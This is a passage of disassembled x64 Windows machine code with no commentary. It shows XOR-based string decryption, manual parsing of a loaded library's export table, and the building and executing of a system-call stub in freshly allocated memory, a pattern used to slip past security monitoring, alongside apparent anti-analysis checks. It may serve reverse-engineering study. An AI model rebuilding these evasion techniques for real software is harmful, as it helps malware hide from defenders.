mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x248]
xor dil, r8b
mov byte [rbp + r8 + 0x248], dil
inc r8
add r9, r12
add r10, 0x10
cmp r9, r11
jb 0x140015bb4
mov byte [rbp + 0x258], r14b
lea rcx, [rbp + 0x248]
call fcn.14000f848
mov rax, qword gs:[0xd]
mov esi, 0xae5f3bfe
cmp rax, rsi
jne 0x140015cee
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x92f30d33
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140015cce
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140015cce
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140015cee
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140085718
int3
lea rdi, [rbp + 0x285d0]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x285d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x140015e87
movdqa xmm0, xmmword [0x1400c69c0]
movdqu xmmword [rbp + 0x3f8], xmm0
mov word [rbp + 0x408], Ordinal_41
mov r10, r14
movabs rsi, 0x17e85ebeb
movabs r8, 0x1966e4aaac
lea r11d, [rax + 0x11]
movabs r9, 0x32cdc95558
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3f8], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x140015d59
mov byte [rbp + 0x409], r14b
movdqa xmm0, xmmword [0x1400c6870]
movdqu xmmword [rbp + 0xb78], xmm0
movdqa xmm1, xmmword [0x1400c6850]
movdqu xmmword [rbp + 0xb88], xmm1
mov word [rbp + 0xb98], 0x3df1
xor eax, eax
mov byte [rbp + 0xb9a], al
mov r8, r14
lea r10d, [rax + 0x22]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xb78], dil
inc r8
add r9, r12
add r10, 0x22
movabs rax, 0x659b92aab0
cmp r9, rax
jb 0x140015df5
mov byte [rbp + 0xb9a], r14b
xor r9d, r9d
lea r8, [rbp + 0x3f8]
lea rdx, [rbp + 0xb78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.140085718
int3
mov edi, dword [r13 + 0x50]
mov r13, qword [rbp + 0xe58]
mov qword [rbp + 0xf50], r13
cmp qword [0x1400d6430], r14
jne 0x140015ec3
mov ecx, 0x26b0
call fcn.140089fdc
test rax, rax
je 0x140015ec3
mov qword [rax], r14
mov qword [rax + 8], 0x19c
mov qword [0x1400d6430], rax
mov qword [rbp + 0xe60], r14
mov qword [rbp + 0x1020], rdi
movdqa xmm0, xmmword [0x1400c69b0]
movdqu xmmword [rbp + 0x7e8], xmm0
mov dword [rbp + 0x7f8], 0x15d46150
mov dword [rbp + 0x7fc], 0x6e26d0
mov rdi, r14
movabs r13, 0xca8495ff84371
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7e8]
lea rcx, [rbp + 0x7e8]
call fcn.14001ff20
xor al, dil
mov byte [rbp + rdi + 0x7e8], al
inc rdi
cmp rdi, 0x17
jb 0x140015f02
mov byte [rbp + 0x7ff], r14b
mov rbx, qword [0x1400d6430]
test rbx, rbx
mov r13, qword [rbp + 0xf50]
je 0x140016021
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140015fd9
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.140089fdc
mov rsi, rax
test rax, rax
je 0x14001601e
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400d6430]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400a81d0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400a8870
mov rcx, rdi
call fcn.140089eb8
mov qword [0x1400d6430], rsi
mov rbx, rsi
lea rax, [rbp + 0x7e8]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
mov dword [rbp + 0x70], 0x84015c7a
mov dword [rbp + 0x74], 0xe3e51d90
mov word [rbp + 0x78], 0x88
mov rdi, r14
movabs rbx, 0xca8495ff84371
mov qword [rsp + 0x20], rbx
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x70]
lea rcx, [rbp + 0x70]
call fcn.14001fe38
xor al, dil
mov byte [rbp + rdi + 0x70], al
inc rdi
cmp rdi, 9
jb 0x140016042
mov byte [rbp + 0x79], r14b
mov rbx, qword [0x1400d6430]
test rbx, rbx
je 0x14001614c
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140016106
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.140089fdc
mov rsi, rax
test rax, rax
je 0x140016149
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400d6430]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400a81d0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400a8870
mov rcx, rdi
call fcn.140089eb8
mov qword [0x1400d6430], rsi
mov rbx, rsi
lea rax, [rbp + 0x70]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14001637b
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001637b
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001637b
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001637b
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14001637b
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7e8]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400161e0
inc rax
test edi, edi
jne 0x1400161cb
test r8d, r8d
je 0x1400161f2
inc rdx
cmp rdx, rsi
jb 0x1400161ba
jmp 0x14001637b
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14001637b
mov r14d, dword [rdx + 4]
xor r15d, r15d
test r14d, r14d
jns 0x140016217
mov r14d, r15d
jmp 0x14001637b
mov r9d, 4
mov r8d, 0x3000
mov r12d, 0x1000
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.14007e750
or dword [rbp + 0x9b34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x87b0]
call fcn.1400209fc
lea rcx, [rbp + 0x87b0]
call fcn.14001ff94
mov ebx, eax
movabs rax, 0xc0906c513cedb3
mul rbx
mov ecx, ebx
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rbx, rax
mov rdi, r15
lea rcx, [rbp + 0x87b0]
call fcn.14001ff94
mov eax, eax
mov qword [rbp + rdi*8 + 0x466e0], rax
inc rdi
cmp rdi, 0x200
jl 0x14001628e
mov r8, r12
lea rdx, [rbp + 0x466e0]
mov rcx, rsi
call fcn.1400a81d0
mov dword [0x1400d3c84], r14d
lea rdi, [rbx + rsi]
movsd xmm0, qword [0x1400d3c80]
movsd qword [rdi], xmm0
movzx eax, word [0x1400d3c88]
mov word [rdi + 8], ax
mov al, byte [0x1400d3c8a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xfcc], r15d
lea r9, [rbp + 0xfcc]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x1020]
mov r8d, 3
lea rdx, [rbp + 0xe60]
mov rcx, r13
call rdi
mov r14d, eax
lea r9, [rbp + 0xfcc]
mov r8d, dword [rbp + 0xfcc]
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r12
xor edx, edx
mov rcx, rsi
call fcn.1400a8870
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400d3c84], r15d
mov rdi, qword [0x1400d6430]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor edx, edx
mov esi, edx
test r15, r15
jle 0x14001642f
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x14001641d
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14001641d
mov al, byte [rbp + 0xf70]
test al, al
jne 0x1400163e2
xor edx, edx
call fcn.1400a8870
jmp 0x14001641b
cmp al, 1
jne 0x14001641d
mov rdx, rcx
lea rcx, [rbp + 0x1168]
call fcn.140020764
xor edx, edx
lea rcx, [rbp + 0x1168]
call fcn.140020918
lea rcx, [rbp + 0x1168]
call fcn.1400208a8
lea rcx, [rbp + 0x1168]
call fcn.140003638
xor edx, edx
inc esi
add rbx, 0x18
movsxd rax, esi
cmp rax, r15
jl 0x1400163a6
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400a8870
mov rcx, rdi
call fcn.140089eb8
xor r15d, r15d
mov qword [0x1400d6430], r15
test r14d, r14d
js 0x14001e8ca
mov rax, qword [rbp + 0xe60]
mov qword [rbp - 0x28], rax
test rax, rax
je 0x14001e8ca
mov r13, qword [rbp + 0xe58]
mov ecx, 0x26b0
call fcn.140089fdc
test rax, rax
je 0x140016493
mov qword [rax], r15
mov qword [rax + 8], 0x19c
mov qword [0x1400d6430], rax
mov qword [rbp + 0xe68], r15
mov qword [rbp + 0x1010], 0x1000
movdqa xmm0, xmmword [0x1400c69b0]
movdqu xmmword [rbp + 0x800], xmm0
mov dword [rbp + 0x810], 0x15d46150
mov dword [rbp + 0x814], 0x6e26d0
mov rdi, r15
movabs r14, 0xca8495ff84371
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x800]
lea rcx, [rbp + 0x800]
call fcn.14001ff20
xor al, dil
mov byte [rbp + rdi + 0x800], al
inc rdi
cmp rdi, 0x17
jb 0x1400164d6
mov byte [rbp + 0x817], r15b
mov rbx, qword [0x1400d6430]
test rbx, rbx
je 0x1400165fd
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x1400165a9
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.140089fdc
mov rsi, rax
test rax, rax
je 0x1400165f0
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400d6430]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400a81d0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400a8870
mov rcx, rdi
call fcn.140089eb8
mov qword [0x1400d6430], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x800]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x1400165f3
xor r15d, r15d
movabs r14, 0xca8495ff84371
mov dword [rbp + 0x60], 0x84015c7a
mov dword [rbp + 0x64], 0xe3e51d90
mov word [rbp + 0x68], 0x88
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x60]
lea rcx, [rbp + 0x60]
call fcn.14001fe38
xor al, dil
mov byte [rbp + rdi + 0x60], al
inc rdi
cmp rdi, 9
jb 0x140016614
mov byte [rbp + 0x69], r15b
mov rbx, qword [0x1400d6430]
test rbx, rbx
je 0x140016723
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x1400166db
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.140089fdc
mov rsi, rax
test rax, rax
je 0x140016720
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400d6430]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400a81d0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400a8870
mov rcx, rdi
call fcn.140089eb8
mov qword [0x1400d6430], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x60]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x140016723
xor r15d, r15d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x1400167b4
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400167b4
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400167b4
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x1400167b4
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r15
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x1400167b4
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x800]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400167a3
inc rax
test edi, edi
jne 0x14001678e
test r8d, r8d
je 0x14001682f
inc rdx
cmp rdx, rsi
jb 0x14001677d
mov r14d, r15d
mov rdi, qword [0x1400d6430]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor r13d, r13d
mov esi, r13d
test r15, r15
jle 0x1400169fe
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x1400169ec
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x1400169ec
mov al, byte [rbp + 0xf70]
test al, al
jne 0x1400169b3
xor edx, edx
call fcn.1400a8870
jmp 0x1400169ec
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x1400167b4
mov r14d, dword [rdx + 4]
test r14d, r14d
js 0x1400167b4
cmp al, 1
jne 0x1400169ec
mov rdx, rcx
lea rcx, [rbp + 0x1148]
call fcn.140020764
xor edx, edx
lea rcx, [rbp + 0x1148]
call fcn.140020918
lea rcx, [rbp + 0x1148]
call fcn.1400208a8
lea rcx, [rbp + 0x1148]
call fcn.140003638
inc esi
add rbx, 0x18
movsxd rax, esi
cmp rax, r15
jl 0x1400167e4
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400a8870
mov rcx, rdi
call fcn.140089eb8
mov qword [0x1400d6430], r13
test r14d, r14d
js 0x14001e731
mov r12, qword [rbp + 0xe68]
mov qword [rbp - 0x50], r12
test r12, r12
je 0x14001e731
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1228], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1230], rax
lea rax, [r12 + 0x28]
mov qword [rbp + 0x1238], rax
mov rsi, qword [rbp - 0x28]
mov qword [rbp + 0x1240], rsi
mov rax, qword [rbp + 0xfe8]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1248], rax
mov r14, qword [rsp + 0x70]
mov qword [rsp + 0x70], r14
movabs rax, 0xa9ff9483ccaeddf
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xf58], r13
mov r8d, r13d
mov rdi, r13
mov r15d, 1
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf58], cl
add rdi, r15
cmp r8d, 8
jb 0x140016aaf
mov ebx, r13d
mov rax, r13
lea r8, [rbp + 0x1228]
movabs r12, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf58]
mov r11b, dil
xor r11b, 0x28
mov esi, edi
mov r9d, r13d
lea r10, [rbp + 0xf58]
movzx ecx, byte [r10]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xf58]
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
add r9d, r15d
add r10, r15
cmp r9d, 8
jb 0x140016b28
movzx ecx, r11b
add ecx, esi
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add ebx, r15d
add r8, r15
movsxd rax, ebx
cmp rax, 0x28
jb 0x140016b0a
mov qword [rbp + 0xf58], r14
movabs rax, 0xa9ff9483ccaeddf
mov qword [rsp + 0x70], rax
xor esi, esi
mov qword [rbp + 0xf50], rsi
mov r8d, esi
mov edi, esi
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0xf58]
imul ecx, eax
movzx eax, byte [rsp + rdi + 0x70]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf50], cl
add rdi, r15
cmp r8d, 8
jb 0x140016bc8
mov r11d, esi
mov rax, rsi
lea r8, [rbp + 0x285d0]
and eax, 7
movzx edi, byte [rbp + rax + 0xf50]
mov r10b, dil
xor r10b, 5
mov ebx, edi
mov ecx, esi
lea r9, [rbp + 0xf50]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf50]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r15d
add r9, r15
cmp ecx, 8
jb 0x140016c36
movdqa xmm0, xmmword [0x1400c69c0]
movdqu xmmword [rbp + 0x3b0], xmm0
mov word [rbp + 0x3c0], Ordinal_41
mov r10, r13
movabs rbx, 0x17e85ebec
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x1966e4aaac
movabs r9, 0x32cdc95558
movabs r14, 0x17e85ebeb
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x3b0]
xor dil, r10b
mov byte [rbp + r10 + 0x3b0], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14001e785
mov byte [rbp + 0x3c1], r13b
movdqa xmm0, xmmword [0x1400c6920]
movdqu xmmword [rbp + 0x958], xmm0
mov dword [rbp + 0x968], 0x963d7757
mov dword [rbp + 0x96c], 0xa6b57db6
mov dword [rbp + 0x970], 0xb3c3a815
xor eax, eax
mov byte [rbp + 0x974], al
mov r8, r13
lea r10d, [rax + 0x1c]
movabs r9, 0x29d6a5cdd0
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x958], dil
inc r8
add r9, rbx
add r10, 0x1c
movabs rax, 0x53ad4b9ba0
cmp r9, rax
jb 0x14001e838
mov byte [rbp + 0x974], r13b
xor r9d, r9d
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0x958]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.140085718
int3
movdqa xmm0, xmmword [0x1400c69c0]
movdqu xmmword [rbp + 0x308], xmm0
mov word [rbp + 0x318], Ordinal_41
mov r10, r15
movabs rbx, 0x17e85ebec
movabs rsi, 0x8080808080808081
movabs r8, 0x1966e4aaac
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x32cdc95558
movabs r14, 0x17e85ebeb
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x308], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14001e91e
mov byte [rbp + 0x319], r15b
movdqa xmm0, xmmword [0x1400c67c0]
movdqu xmmword [rbp + 0x740], xmm0
mov dword [rbp + 0x750], 0x5aa02c5
mov word [rbp + 0x754], 0x42
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x1f60fc5a5c
movabs r10, 0x3ec1f8b4b8
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r9 + 0x740]
xor dil, r9b
mov byte [rbp + r9 + 0x740], dil
inc r9
add r8, rbx
add r11, 0x15
cmp r8, r10
jb 0x14001e9c2
mov byte [rbp + 0x755], r15b
xor r9d, r9d
lea r8, [rbp + 0x308]
lea rdx, [rbp + 0x740]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.140085718
int3
mov ebx, 0xae5f3bfe
cmp rax, rbx
jne 0x14001eb02
mov rax, qword gs:[0x1e]
movabs rcx, 0x4e682bb16d2bb992
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001eae2
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001eae2
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001eb02
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140085718
int3
movdqa xmm0, xmmword [0x1400c69c0]
movdqu xmmword [rbp + 0x350], xmm0
mov word [rbp + 0x360], Ordinal_41
mov r10, r14
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x1966e4aaac
movabs r9, 0x32cdc95558
movabs r15, 0x17e85ebeb
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x350], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14001eb4c
mov byte [rbp + 0x361], r14b
movdqa xmm0, xmmword [0x1400c6950]
movdqu xmmword [rbp + 0x818], xmm0
mov dword [rbp + 0x828], 0xa5c6bdef
mov dword [rbp + 0x82c], 0x76bfd0
mov r8, r14
mov r10d, reloc.WS2_32.dll_socket
movabs r9, 0x225e083234
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x818]
xor dil, r8b
mov byte [rbp + r8 + 0x818], dil
inc r8
add r9, r12
add r10, 0x17
movabs rax, 0x44bc106468
cmp r9, rax
jb 0x14001ebe7
mov byte [rbp + 0x82f], r14b
xor r9d, r9d
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x818]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0xd]
cmp rax, rbx
jne 0x14001ed35
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x1b6c2ecb
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x92f30d33
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ed15
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ed15
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ed35
mov rax, qword [rbp + 0xf40]
